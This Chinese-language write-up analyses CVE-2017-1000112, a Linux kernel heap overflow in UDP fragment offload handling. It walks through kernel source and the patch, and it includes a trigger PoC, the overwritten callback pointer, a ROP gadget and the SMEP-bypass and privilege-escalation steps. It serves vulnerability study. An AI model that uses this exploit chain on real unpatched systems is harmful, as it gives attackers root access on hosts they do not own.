【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出

影响版本:<=Linux 4.12.6 v4.12.7已修补。 7.0分。由syzkaller发现。

测试版本:Linux-4.12.6 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项CONFIG_SLAB=y

General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.12.6.tar.xz
$ tar -xvf linux-4.12.6.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:漏洞函数是__ip_append_data(),漏洞形成的原因在于内核是通过 SO_NO_CHECK 的标志来判断用UFO机制还是non-UFO机制。在两次调用send()时,我们可以通过设定该标志从UFO执行路径转化成non-UFO执行路径(UFO机制是指网卡辅助进行报文分片,用户层协议不用分片,non-UFO路径指的是在用户层进行报文分片),而UFO是支持超过MTU的数据包的,这样在non-UFO路径上就会导致写越界。 具体的过程为UFO填充的skb大于MTU,导致在non-UFO路径上copy = maxfraglen-skb->len变为负数,触发重新分配skb的操作,导致fraggap=skb_prev->len-maxfraglen会很大,超过MTU,之后在调用skb_copy_and_csum_bits()进行复制操作时造成溢出

  • 第1次send UDP报文(长度大于MTU),走UFO路径,会调用ip_ufo_append_data()将用户态数据拷贝到skb的非线性区(skb_shared_info->frags[]);
  • 修改sk->sk_no_check_tx为1;
  • 第2次send UDP报文,走non-UFO路径,会在 __ip_append_data() 中 (9-6) 处调用 skb_copy_and_csum_bits() ,将旧的skb_prev 中的数据(第1次send时UFO路径中skb)复制到新分配的sk_buff中(即 skb_shared_info->frags[]中的 page_frag),从而造成溢出。

补丁:patch 漏洞引入—[IPv4/IPv6]: UFO Scatter-gather approach 补丁原理——漏洞是由于 SO_NO_CHECK 可以控制UFO路径切换造成问题,现在只要有了Generic Segmentation Offload(一种UFO分片优化,发生在数据送到网卡之前),就会调用UFO,避免产生路径切换。

// 打补丁前,由 sk_no_check_tx 决定是否进入UFO路径; 打补丁后,即使设置了 sk_no_check_tx, 只要开启了GSO(可理解为数据推送网卡前进行分片,相当于对UFO的优化),一样会进入UFO路径,这样就无法触发漏洞。
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index 50c74cd890bc7..e153c40c24361 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -965,11 +965,12 @@ static int __ip_append_data(struct sock *sk,
        csummode = CHECKSUM_PARTIAL;
 
    cork->length += length;
-   if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
-        (skb && skb_is_gso(skb))) &&
+   if ((skb && skb_is_gso(skb)) ||
+       (((length + (skb ? skb->len : fragheaderlen)) > mtu) &&
+       (skb_queue_len(queue) <= 1) &&
        (sk->sk_protocol == IPPROTO_UDP) &&
        (rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
-       (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) {
+       (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx)) {
        err = ip_ufo_append_data(sk, queue, getfrag, from, length,
                     hh_len, fragheaderlen, transhdrlen,
                     maxfraglen, flags);
// 原来只由 no_check 决定,现在必须设置no_check同时关闭GSO,这样才能进入non-UFO
@@ -1288,6 +1289,7 @@ ssize_t   ip_append_page(struct sock *sk, struct flowi4 *fl4, struct page *page,
        return -EINVAL;
 
    if ((size + skb->len > mtu) &&
+       (skb_queue_len(&sk->sk_write_queue) == 1) &&
        (sk->sk_protocol == IPPROTO_UDP) &&
        (rt->dst.dev->features & NETIF_F_UFO)) {
        if (skb->ip_summed != CHECKSUM_PARTIAL)
diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c
index e6276fa3750b9..a7c804f73990a 100644
--- a/net/ipv4/udp.c
+++ b/net/ipv4/udp.c
@@ -802,7 +802,7 @@ static int udp_send_skb(struct sk_buff *skb, struct flowi4 *fl4)
    if (is_udplite)                  /*     UDP-Lite      */
        csum = udplite_csum(skb);
 
-   else if (sk->sk_no_check_tx) {   /* UDP csum disabled */
+   else if (sk->sk_no_check_tx && !skb_is_gso(skb)) {   /* UDP csum off */
 
        skb->ip_summed = CHECKSUM_NONE;
        goto send;

保护机制:开启SMEP,关闭SMAP/KASLR。

利用总结

  • 1.第1次send,走UFO路径,使得报文长度大于MTU;
  • 2.修改sk->sk_no_check_tx为1,使得下次send时走non-UFO路径;
  • 3.第2次send,走non-UFO路径,触发溢出;
  • 4.覆盖skb_shared_info->destructor_arg->callback劫持控制流,之后就是绕过SMEP、提权、恢复用户态寄存器。

一、背景知识

1.1 TCP/IP

网络分层:应用层message -> 传输层segment(UDP)-> 网络层datagram(IP) -> 链路层frame

封装层级:{ 数据帧frame { IP包 { UDP包 {message/data}}}}

1.2 UFO机制——UDP fragment offload

报文分片:发送ipv4数据包时,一个链路层帧所能承载的最大数据量称为 最大传输单元(MTU)。当要求发送的IP数据包比数据链路层的MTU大时,必须把该数据包分割成多个IP数据包才能发送(即ipv4的分片,可能发生在ip层或者传输层)。

UFO机制:通过网卡辅助进行ipv4报文分片(这样分片就在网卡硬件中完成,用户态可以发送长度大于MTU的包,而且不必在协议栈中进行分片。只要开启UFO,就可以支持发送超过MTU大小的数据包)。将分片的过程从协议栈中移到网卡硬件中,从而提升效率,减少堆栈开销。UFO的commit——[IPv4/IPv6]: UFO Scatter-gather approach

1.3 UDP corking机制

cork机制:cork意思是软木塞,使数据先 不发出去,等拔去塞子后再发出去。防止不停的去封装发送碎片化的小数据包,使得利用率降低。开启corking后,内核会尽力将小数据包拼接成一个大的数据包(一个MTU)再发送出去,当然如果等待时间过长(200ms),内核没有组成一个MTU也必须发送现有的数据。

优缺点:优点是缓解了碎片化,提高了利用效率;缺点是损失了实时性。

具体代码:udp_sendmsg()

int udp_sendmsg(struct sock *sk, struct msghdr *msg, size_t len)
{
    struct inet_sock *inet = inet_sk(sk);
    struct udp_sock *up = udp_sk(sk);
    ... ...
    if (up->pending) {                          // 通过 up->pending 检查是否被塞住(corking)
        /*
         * There are pending frames.
         * The socket lock must be held while it's corked.
         */
        lock_sock(sk);
        if (likely(up->pending)) {
            if (unlikely(up->pending != AF_INET)) {
                release_sock(sk);
                return -EINVAL;
            }
            goto do_append_data;                // 如果被塞住,则进行数据追加——do_append_data
        }
        release_sock(sk);
    }
    ulen += sizeof(struct udphdr);
    ... ...
do_append_data:                                 // do_append_data —— 做数据追加
    up->len += ulen;
    err = ip_append_data(sk, fl4, getfrag, msg, ulen,       // <---- ip_append_data() 数据追加
                 sizeof(struct udphdr), &ipc, &rt,
                 corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags);
    if (err)
        udp_flush_pending_frames(sk);           // 如果追加数据失败,则调用 udp_flush_pending_frame() -> __ip_flush_pending_frames() 丢弃数据
    else if (!corkreq)
        err = udp_push_pending_frames(sk);
    else if (unlikely(skb_queue_empty(&sk->sk_write_queue)))
        up->pending = 0;
    release_sock(sk);
    ... ...
}
EXPORT_SYMBOL(udp_sendmsg);

1.4 ip_append_data() 分片源码分析

参考:Linux网络协议栈--ip_append_data函数分析

说明:ip_append_data() -> __ip_append_data(),实际由__ip_append_data() 完成分片工作。

作用:将上层下来的数据进行整型,如果是大数据包则进行切割,变成多个小于或等于MTU的SKB;如果是小数据包,并且开启了聚合,就会将若干个数据包整合。

流程图:从sock发送队列中取skb,如果发送队列为空,则新分配一个skb;如果不为空,则直接使用该skb;然后,判断per task的page_frag中是否有空间可用,有的话,就直接从用户态拷贝数据到该page_frag中,如果没有空间,则分配新的page,放入page_frag中,然后再从用户态拷贝数据到其中,最后将该page_frag中的page链入skb的非线性区中(即skb_shared_info->frags[]

1-ip_append_data overview.jpg

漏洞调用链:udp_sendmsg() -> ip_append_data() -> __ip_append_data() -> ip_ufo_append_data()

1.4.1 ip_append_data() —— 准备工作
// getfrag(): 将数据赋值到skb中,一个skb就是一个sk_buff结构体指针, struct sk_buff 表示一个socket缓冲区。
// 参数 int transhdrlen: 表示传输层header的长度,也标志是否为第1个fragment,非0则为第1个fragment。
// 参数 unsigned int flags: 标志。本函数用到了两个标志,一是 MSG_PROBE(表示只进行MTU路径探测,并不真正进行数据发送),二是 MSG_MORE(表示后续还有数据被发送)。
int ip_append_data(struct sock *sk, struct flowi4 *fl4,
           int getfrag(void *from, char *to, int offset, int len,
                   int odd, struct sk_buff *skb),
           void *from, int length, int transhdrlen,
           struct ipcm_cookie *ipc, struct rtable **rtp,
           unsigned int flags)
{
    struct inet_sock *inet = inet_sk(sk);
    int err;

    if (flags&MSG_PROBE)            // (1) 首先判定是否开启MSG_PROBE, 若开启则直接返回0
        return 0;

    if (skb_queue_empty(&sk->sk_write_queue)) { // (2) 再判断 sk_buff 队列是否为空,如果为空则通过 ip_setup_cork() 初始化 cork 变量
        err = ip_setup_cork(sk, &inet->cork.base, ipc, rtp);
        if (err)
            return err;
    } else {                        // (3) 如果 sk_buff 不为空,则使用上次的路由,IP选项,以及分片长度。设置 transhdrlen = 0 说明不是第一个fragment。
        transhdrlen = 0;
    }

    return __ip_append_data(sk, fl4, &sk->sk_write_queue, &inet->cork.base, // <--------
                sk_page_frag(sk), getfrag,
                from, length, transhdrlen, flags);
}
1.4.2 __ip_append_data() —— 分片处理流程
static int __ip_append_data(struct sock *sk,
                struct flowi4 *fl4,
                struct sk_buff_head *queue,
                struct inet_cork *cork,
                struct page_frag *pfrag,
                int getfrag(void *from, char *to, int offset,
                    int len, int odd, struct sk_buff *skb),
                void *from, int length, int transhdrlen,
                unsigned int flags)
{
    struct inet_sock *inet = inet_sk(sk);
    struct sk_buff *skb;                        // (1) 分配一个新的sk_buff, 准备将它放入 sk_write_queue 队列, 稍后函数为数据加入IP头信息即可往下传输

    struct ip_options *opt = cork->opt;
    int hh_len;
    int exthdrlen;
    int mtu;
    int copy;
    int err;
    int offset = 0;
    unsigned int maxfraglen, fragheaderlen, maxnonfragsize;
    int csummode = CHECKSUM_NONE;
    struct rtable *rt = (struct rtable *)cork->dst;
    u32 tskey = 0;

    skb = skb_peek_tail(queue);                 // (2) 获取skb队列的尾结点

    exthdrlen = !skb ? rt->dst.header_len : 0;
    mtu = cork->fragsize;
    if (cork->tx_flags & SKBTX_ANY_SW_TSTAMP &&
        sk->sk_tsflags & SOF_TIMESTAMPING_OPT_ID)
        tskey = sk->sk_tskey++;

    hh_len = LL_RESERVED_SPACE(rt->dst.dev);    // (3) 获取链路层header及IP首部长度 hh_len=16

    fragheaderlen = sizeof(struct iphdr) + (opt ? opt->optlen : 0); // IP 头部长度
    maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen;      // 最大IP头部长度, 考虑对齐 mtu=1500, fragheaderlen=20
    //IP数据报的数据需要4字节对齐,为加速计算直接将IP数据报的数据根据当前MTU8字节对齐,然后重新得到用于分片的长度
    maxnonfragsize = ip_sk_ignore_df(sk) ? 0xFFFF : mtu;            // 是否超过最大长度 64k

    if (cork->length + length > maxnonfragsize - fragheaderlen) {
        ip_local_error(sk, EMSGSIZE, fl4->daddr, inet->inet_dport,
                   mtu - (opt ? opt->optlen : 0));
        return -EMSGSIZE;
    }// 如果输出的数据长度超过一个IP数据报能容纳的长度,则向输出该数据报的套接口发送EMSGSIZE

    /*
     * transhdrlen > 0 means that this is the first fragment and we wish
     * it won't be fragmented in the future. 
     */
    if (transhdrlen &&  // transhdrlen!=0说明ip_append_data工作在第一个片段。如果IP数据报没有分片,且输出网络设备支持硬件执行校验和,则设置CHECKSUM_PARTIAL,表示由硬件来执行校验和 transhdrlen = 8, length = 3492
        length + fragheaderlen <= mtu &&
        rt->dst.dev->features & (NETIF_F_HW_CSUM | NETIF_F_IP_CSUM) &&
        !(flags & MSG_MORE) &&
        !exthdrlen)
        csummode = CHECKSUM_PARTIAL;            // (4) 校验和计算?

    cork->length += length;                     // 软木塞长度更新
    if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
         (skb && skb_is_gso(skb))) &&           // (5) 如果UDP包满足2个条件,一是发送的数据长度大于MTU,需要进行分片; 二是网卡支持UDP分片(UFO支持)。
        (sk->sk_protocol == IPPROTO_UDP) &&
        (rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
        (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) {   // 由 sk_no_check_tx 来控制是否进入UFO路径(用户层可发送大于MTU长度的报文,由网卡驱动进行分片)
        err = ip_ufo_append_data(sk, queue, getfrag, from, length,
                     hh_len, fragheaderlen, transhdrlen,
                     maxfraglen, flags);        // (6) UFO路径: 满足(5)则调用支持UFO机制的 ip_ufo_append_data(),将用户态数据拷贝到skb中的非线性区中(即skb_shared_info->frags[],原本用于SG)
        if (err)
            goto error;
        return 0;
    }

    /* So, what's going on in the loop below?
     *
     * We use calculated fragment length to generate chained skb,
     * each of segments is IP fragment ready for sending to network after
     * adding appropriate IP header.
     */

    if (!skb)                                   // (7) non-UFO路径: 如果skb为空,即sk_buff队列此时为空,那么跳转到 alloc_new_skb            说明输出队列为空,则需分配一个新的SKB用于复制数据。
        goto alloc_new_skb;

copy变量:表示最后一个skb的剩余空间。见 (8)处,skb->len 表示此SKB管理的 Data Buffer中数据的总长度。copy分为3种情况,接下来的代码将分别处理这3种情况:

  • copy < 0:即 mtu < skb->len 溢出了。有些数据需要从当前的IP分片中移动到新的片段中,需要分配新的skb来存储溢出的数据。
  • copy > 0:最后一个skb还有空间。
  • copy = 0:最后一个skb被填满。
2-UFO length.jpg
    while (length > 0) { // 循环处理待输出数据
        /* Check if the remaining data fits into current packet. */
        copy = mtu - skb->len;                  // (8) 计算copy——上一个skb的剩余空间,也就是本次复制数据的长度mtu=1500,skb->len=3512 
        if (copy < length)  // length为数据的长度,使空间小于数据大小,设置第2次发送的数据 length=1
            copy = maxfraglen - skb->len;   // maxfraglen=1500, copy=-2012
        if (copy <= 0) {                        // (9) 如果copy<0, 表示上一个SKB已经填满或空间不足8B,需要分配新的SKB
            char *data;
            unsigned int datalen;
            unsigned int fraglen;
            unsigned int fraggap;
            unsigned int alloclen;
            struct sk_buff *skb_prev;
alloc_new_skb:
            skb_prev = skb; // 如果上一个SKB中存在多余8字节对齐的MTU数据,要计算移动到当前SKB的数据长度
            if (skb_prev)               // (9-1) 如果存在skb,需计算从上一个skb中取多长的数据到下一个新的skb
                fraggap = skb_prev->len - maxfraglen;       // 这里其实就是负的copy, fraggap=3512-1500=2012
            else
                fraggap = 0;

            /*
             * If remaining data exceeds the mtu,
             * we know we need more fragment(s).
             */
            datalen = length + fraggap; // 第2次发送时,datalen=1+2012=2013
            if (datalen > mtu - fragheaderlen)  // 如果剩余的数据一个分片不够容纳,则根据MTU重新计算本次可发送的数据长度
                datalen = maxfraglen - fragheaderlen;   // datalen=1500-20=1480
            fraglen = datalen + fragheaderlen;  // 根据本次复制的数据长度以及IP首部长度,计算三层首部及数据的总长度

            if ((flags & MSG_MORE) &&   // (9-2) 计算需要分配的新的skb的大小 alloclen
                !(rt->dst.dev->features&NETIF_F_SG))
                alloclen = mtu;     // 按最大分配大小,如果后续还有数据输出且网络设备不支持聚合分散I/O,则将MTU作为分配SKB的长度
            else
                alloclen = fraglen; // 按数据长度分配大小, 否则按数据的长度(包括IP首部)分配SKB的空间即可

            alloclen += exthdrlen;  // alloclen=1500+0=1500

            /* The last fragment gets additional space at tail.
             * Note, with MSG_MORE we overallocate on fragments,
             * because we have no idea what fragment will be
             * the last.
             */
            if (datalen == length + fraggap)
                alloclen += rt->dst.trailer_len;

            if (transhdrlen) {          // (9-3) 如果是第1个分片,则调用 sock_alloc_send_skb() 分配新的skb
                skb = sock_alloc_send_skb(sk,
                        alloclen + hh_len + 15,
                        (flags & MSG_DONTWAIT), &err);
            } else {                    // (9-4) 如果不是第1个分片
                skb = NULL;
                if (atomic_read(&sk->sk_wmem_alloc) <=
                    2 * sk->sk_sndbuf)
                    skb = sock_wmalloc(sk,
                               alloclen + hh_len + 15, 1,
                               sk->sk_allocation);
                if (unlikely(!skb))
                    err = -ENOBUFS;
            }
            if (!skb)                   // 分配失败,则跳转到error
                goto error;

            /*
             *  Fill in the control structures
             */
            skb->ip_summed = csummode;  // (9-5) 分配成功,首先初始化 skb 中用于校验的控制数据 
            skb->csum = 0;
            skb_reserve(skb, hh_len);       // 为数据报预留用于存放二层首部、三层首部和数据的空间,并设置SKB中指向三层和四层的指针

            /* only the initial fragment is time stamped */
            skb_shinfo(skb)->tx_flags = cork->tx_flags; // 初始化时间戳
            cork->tx_flags = 0;
            skb_shinfo(skb)->tskey = tskey;
            tskey = 0;

            /*
             *  Find where to start putting bytes.
             */
            data = skb_put(skb, fraglen + exthdrlen);   // 预留L2、L3首部空间
            skb_set_network_header(skb, exthdrlen);     // 设置L3层的指针
            skb->transport_header = (skb->network_header +
                         fragheaderlen);
            data += fragheaderlen + exthdrlen;          // data=20+0=20

            if (fraggap) {                              // 如果上一个SKB的数据超过8字节对齐MTU,则将超出数据和传输层首部复制到当前SKB,重新计算校验和 fraggap=2012
                skb->csum = skb_copy_and_csum_bits(     // (9-6) skb_copy_and_csum_bits() 函数将数据从第一个创建的sk_buff复制到新分配的sk_buff(以8字节对齐)     <----------- !!!!!!!!!! 溢出点
                    skb_prev, maxfraglen,
                    data + transhdrlen, fraggap, 0);
                skb_prev->csum = csum_sub(skb_prev->csum,
                              skb->csum);
                data += fraggap;
                pskb_trim_unique(skb_prev, maxfraglen);
            }

            copy = datalen - transhdrlen - fraggap;     // 传输层首部和上个SKB多出的数据已复制,接着复制剩下的数据 //copy = 1480-0-2012=-532
            if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {
                err = -EFAULT;
                kfree_skb(skb);
                goto error;
            }

            offset += copy;                             // 完成本次复制数据,计算下次需复制数据的地址及剩余数据的长度。传输层首部已经复制
            length -= datalen - fraggap;                // 因此需要将传输层首部的transhdrlen置为0,同时IPsec首部长度exthdrlen也置为0 //length=2013-1480=533
            transhdrlen = 0;
            exthdrlen = 0;
            csummode = CHECKSUM_NONE;

            if ((flags & MSG_CONFIRM) && !skb_prev)
                skb_set_dst_pending_confirm(skb, 1);

            /*
             * Put the packet on the pending queue.
             */
            __skb_queue_tail(queue, skb);               // 把新skb插入skb队列队尾, 接着复制剩下的数据
            continue;
        }

        if (copy > length)
            copy = length; //如果上个SKB剩余的空间大于剩余待发送的数据长度,则剩下的数据可以一次完成

        if (!(rt->dst.dev->features&NETIF_F_SG)) {
            unsigned int off;//如果输出网络设备不支持聚合分散I/O,则将数据复制到线性区域的剩余空间

二、漏洞原理

2.1 POC 分析

说明

  • SOCK_DGRAM 表示UDP
  • AF_INET 代表TCP/IP协议族,在socket编程中只能是 AF_INET
  • s_addr 代表ip地址,INADDR_LOOPBACK 代表绑定地址 LOOPBAC,往往是127.0.0.1,只能收到127.0.0.1上面的连接请求。htons将其转换成网络数据格式的数字。

poc分析:主要是两次send。第一次send,带上标记 MSG_MORE 告诉系统我们接下来还有数据要发送,此时走UFO路径。

// poc
#define SHINFO_OFFSET 3164
void poc(unsigned long payload) {
    char buffer[4096];
    memset(&buffer[0], 0x42, 4096);
    init_skb_buffer(&buffer[SHINFO_OFFSET], payload);

    int s = socket(PF_INET, SOCK_DGRAM, 0);     // 1. 创建UDP socket。SOCK_DGRAM表示UDP

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(8000);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

    if (connect(s, (void*)&addr, sizeof(addr))) 
        exit(EXIT_FAILURE);

    int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
    int rv = send(s, buffer, size, MSG_MORE);   // 2.发送包,并用标志MSG_MORE告诉内核我们还会发送更多包

    int val = 1;
    rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); // 3.关闭UDP checksum

    send(s, buffer, 1, 0);                      // 4.第2次发送non-UFO触发漏洞。其size为1

    close(s);
}

见 __ip_append_data() 源码分析中的(5),如果要发送的是UDP数据包、系统支持UFO、且需要分片(length > mtu),则send()最终会进入 ip_ufo_append_data()。

    if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
         (skb && skb_is_gso(skb))) &&           // (5) 如果UDP包满足2个条件,一是发送的数据长度大于MTU,需要进行分片; 二是开启了UFO支持。
        (sk->sk_protocol == IPPROTO_UDP) &&
        (rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
        (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) {
        err = ip_ufo_append_data(sk, queue, getfrag, from, length,
                     hh_len, fragheaderlen, transhdrlen,
                     maxfraglen, flags);        // (6) 满足(5)则调用支持UFO机制的 ip_ufo_append_data()

2.2 ip_ufo_append_data() 分析

static inline int ip_ufo_append_data(struct sock *sk,
            struct sk_buff_head *queue,
            int getfrag(void *from, char *to, int offset, int len,
                   int odd, struct sk_buff *skb),
            void *from, int length, int hh_len, int fragheaderlen,
            int transhdrlen, int maxfraglen, unsigned int flags)
{
    struct sk_buff *skb;
    int err;

    /* There is support for UDP fragmentation offload by network
     * device, so create one single skb packet containing complete
     * udp datagram
     */
    skb = skb_peek_tail(queue);                     // (1) 取skb队列的队尾。
    if (!skb) {
        skb = sock_alloc_send_skb(sk,               // (2) 分配新的skb,然后把数据放到新的skb的非线性区域中(skb_share_info)。如下图所示
            hh_len + fragheaderlen + transhdrlen + 20,
            (flags & MSG_DONTWAIT), &err);

        if (!skb)
            return err;

        /* reserve space for Hardware header */
        skb_reserve(skb, hh_len);

        /* create space for UDP/IP header */
        skb_put(skb, fragheaderlen + transhdrlen);

        /* initialize network header pointer */
        skb_reset_network_header(skb);

        /* initialize protocol header pointer */
        skb->transport_header = skb->network_header + fragheaderlen;

        skb->csum = 0;

        if (flags & MSG_CONFIRM)
            skb_set_dst_pending_confirm(skb, 1);

        __skb_queue_tail(queue, skb);
    } else if (skb_is_gso(skb)) {
        goto append;
    }

    skb->ip_summed = CHECKSUM_PARTIAL;
    /* specify the length of each IP datagram fragment */
    skb_shinfo(skb)->gso_size = maxfraglen - fragheaderlen;
    skb_shinfo(skb)->gso_type = SKB_GSO_UDP;                // 通过skb_shinfo(SKB)宏可以看出  skb_shared_info 与skb之间的关系:  skb_shared_info=skb_shinfo(skb)  
#define skb_shinfo(SKB)    ((struct skb_shared_info *)(skb_end_pointer(SKB)))

append:
    return skb_append_datato_frags(sk, skb, getfrag, from,  // (3) 最后新的skb入队
                       (length - transhdrlen));
}

skb_shared_info 结构:

4-skb_share_info.jpg
struct skb_shared_info {
    unsigned short  _unused;
    unsigned char   nr_frags;
    __u8        tx_flags;
    unsigned short  gso_size;
    /* Warning: this field is not always filled in (UFO)! */
    unsigned short  gso_segs;
    struct sk_buff  *frag_list;
    struct skb_shared_hwtstamps hwtstamps;
    unsigned int    gso_type;
    u32     tskey;
    __be32          ip6_frag_id;

    /*
     * Warning : all fields before dataref are cleared in __alloc_skb()
     */
    atomic_t    dataref;

    /* Intermediate layers must ensure that destructor_arg
     * remains valid until skb destructor */
    void *      destructor_arg;

    /* must be last field, see pskb_expand_head() */
    skb_frag_t  frags[MAX_SKB_FRAGS];
};

2.3 漏洞分析

第1次send:执行UFO路径(调用ip_ufo_append_data()),skb中数据的大小是大于mtu的。skb是新分配出来的。

4-skb_shared_info2.jpg

第2次send

  • 第二次send之前,先调用setsockopt()来设置 SO_NO_CHECK 标志,即不校验 checksum。 (内核是通过SO_NO_CHECK 标志来判断用UFO机制还是non-UFO机制,这一点在源码中并不明显。可参见下面漏洞补丁处的patch)。
  • 这样第2次send时,会执行non-UFO路径。此时 copy = mtu - skb_len 小于0,此时的skb是直接从队尾取出来,也就是第1次send时新分配出来的skb(其 len>mtu)。
  • 由于 copy<0,在 non-UFO 路径上触发了重新分配skb的操作。见 __ip_append_data() 中 (9) 处的代码。
  • 重新分配结束后,会在 __ip_append_data() 中 (9-6) 处调用 skb_copy_and_csum_bits() ,将旧的skb_prev 中的数据(第1次send时UFO路径中skb)复制到新分配的sk_buff中(即 skb_shared_info->frags[]中的 page_frag),从而造成溢出。

三、漏洞利用

劫持函数指针skb_shared_info -> destructor_arg,在skb释放时,kfree_skb()中底层对于其产生一个析构函数的调用—— kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() -> 这里 所以可通过覆盖skb_shared_info->destructor_arg->callback即可劫持控制流。

static void skb_release_data(struct sk_buff *skb)
{
    ...
        struct ubuf_info *uarg;

        uarg = shinfo->destructor_arg;  // 将一个 void 赋给一个 ubuf_info 类型
        if (uarg->callback)
            uarg->callback(uarg, true);
    ...
}
// ubuf_info 作用
/*  1.当完成了skb DMA时,通过他调用回调函数做析构,释放缓冲区。并且此时skb引用计数为0。
    2.ctx负责跟踪设备上下文。desc负责跟踪用户空间的缓冲区索引。
    3.zerocopy_success代表是否发生 零拷贝(将数据直接从磁盘文件复制到网卡设备中,而不需要经由应用程序,提高应用程序的性能,减少内核与用户模式之间的上下文切换,参见 https://zhuanlan.zhihu.com/p/85571977)。
*/
struct ubuf_info {
    void (*callback)(struct ubuf_info *, bool zerocopy_success);
    void *ctx;
    unsigned long desc;
};

问题:gadget 0xffffffff8100008d: xchg eax, esp; ret;不能用,只要执行就会终止,也没有报错信息。

解决:换一些地址更大的gadget。xchg eax, esp; ret 指令的二进制表示为 94 C3,在IDA中搜索(search -> sequence of bytes)。

.text:FFFFFFFF8104AD63      setz    r11b

版本适配:注意不同版本的内核,需修改gadget偏移、skb_shared_info结构、SHINFO_OFFSETskb_shared_info结构在buffer中的偏移)。

测试成功截图

5-succeed.png

参考

Linux内核[CVE-2017-1000112] (UDP Fragment Offload) 分析

CVE-2017-1000112-UFO 学习总结

Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112

Linux网络协议栈--ip_append_data函数分析

你可能感兴趣的:(【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出)